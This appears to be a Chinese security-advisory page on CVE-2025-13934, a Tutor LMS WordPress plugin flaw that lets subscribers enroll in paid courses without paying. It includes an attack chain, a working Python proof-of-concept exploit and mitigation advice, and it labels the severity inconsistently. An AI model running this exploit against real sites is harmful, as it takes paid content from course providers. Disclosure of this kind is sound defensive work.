IPBUF安全漏洞报告
English
CVE-2025-13934 CVSS 4.3 中危

CVE-2025-13934 Tutor LMS 未授权课程注册漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-13934
漏洞类型
业务逻辑漏洞
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tutor LMS WordPress Plugin

相关标签

CVE-2025-13934Tutor LMSWordPress插件业务逻辑漏洞权限绕过未授权注册AJAX漏洞WordPress安全在线教育平台课程管理系统

漏洞概述

CVE-2025-13934是WordPress平台Tutor LMS在线课程解决方案插件中的一个高危安全漏洞。该漏洞存在于3.9.3及以下所有版本中,由于course_enrollment() AJAX处理器缺少适当的能力检查(capability check)和购买验证(purchasability validation),导致具有订阅者(subscriber)级别及更高权限的认证用户可以绕过正常的购买流程,为自己注册任意课程。此漏洞属于业务逻辑层面的权限控制缺陷,攻击者无需特殊技术能力,只需拥有基本的网站账户即可利用。漏洞的CVSS评分为4.3(中等),主要影响在于完整性方面的低级别影响,攻击者可以未经授权的方式获取课程访问权限,可能导致内容提供商的经济损失和课程内容未授权访问问题。

技术细节

该漏洞的技术根源在于Tutor LMS插件的course_enrollment() AJAX处理函数未实施充分的用户权限验证和课程购买状态检查。具体问题包括:(1) 缺少wp_verify_nonce或current_user_can等标准WordPress权限检查机制;(2) 未验证用户是否已完成课程购买流程;(3) 未检查课程是否设置为需要购买才能注册。攻击者只需构造一个包含course_id参数的AJAX请求到wp-admin/admin-ajax.php端点,指定action为course_enrollment,即可触发未授权注册。漏洞代码位于classes/Course.php文件中,修复版本已在 changeset 3422766中发布,管理员应立即升级至3.9.4或更高版本以消除安全风险。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标网站使用WordPress CMS和Tutor LMS插件,通过查看页面源码或wappalyzer等工具确认插件版本 <= 3.9.3
STEP 2
Account Creation/Acquisition
攻击者注册WordPress账户或获取现有订阅者级别账户,攻击无需管理员权限,最低只需subscriber角色
STEP 3
Course Discovery
攻击者枚举网站上的课程ID,可通过浏览课程页面或使用自动化工具获取有效course_id参数值
STEP 4
Craft Malicious Request
攻击者构造AJAX请求到/wp-admin/admin-ajax.php,设置action参数为course_enrollment,course_id参数为目标课程ID
STEP 5
Execute Exploitation
使用认证会话发送恶意请求,绕过正常购买流程直接触发课程注册逻辑,成功后攻击者获得课程访问权限
STEP 6
Unauthorized Access
攻击者登录后可直接访问付费课程内容,造成内容提供商经济损失,并可能下载受版权保护的教学材料

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13934 PoC - Unauthorized Course Enrollment # Target: WordPress with Tutor LMS plugin <= 3.9.3 def exploit_cve_2025_13934(target_url, username, password, course_id): """ Exploit for Tutor LMS unauthorized course enrollment vulnerability. This PoC demonstrates how an authenticated user with subscriber-level access can enroll in any course without going through the purchase flow. Parameters: target_url: Base URL of the WordPress site username: WordPress user username password: WordPress user password course_id: ID of the course to enroll in (must be integer) """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Logging in as {username}...") login_response = session.post(login_url, data=login_data, verify=False) if 'wordpress_logged_in' not in str(session.cookies) and 'Set-Cookie' not in str(login_response.headers): print("[-] Login failed. Check credentials.") return False print("[+] Login successful!") # Step 2: Exploit the vulnerability - Enroll in course without purchase ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'course_enrollment', 'course_id': course_id } print(f"[*] Attempting to enroll in course ID {course_id}...") exploit_response = session.post(ajax_url, data=exploit_data, verify=False) # Check response for successful enrollment if exploit_response.status_code == 200: response_text = exploit_response.text if 'success' in response_text.lower() or 'enrollment' in response_text.lower(): print("[+] SUCCESS! Enrolled in course without authorization!") print(f"[*] Response: {exploit_response.text[:500]}") return True else: print(f"[-] Enrollment failed or unexpected response: {exploit_response.text[:200]}") return False else: print(f"[-] Request failed with status code: {exploit_response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-13934.py <target_url> <username> <password> <course_id>") print("Example: python cve-2025-13934.py http://example.com testuser testpass 123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] course = sys.argv[4] exploit_cve_2025_13934(target, user, pwd, course)

影响范围

Tutor LMS < 3.9.4
Tutor LMS <= 3.9.3 (所有版本)
WordPress (与Tutor LMS插件配合使用)

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:(1) 使用WordPress安全插件限制course_enrollment AJAX动作的访问;(2) 临时禁用付费课程的自动注册功能;(3) 部署WAF规则阻止未授权的课程注册请求;(4) 手动审查近期注册的课程用户,撤销可疑的未授权注册记录。建议在24-48小时内完成版本升级,因为该漏洞已公开披露,存在被广泛利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表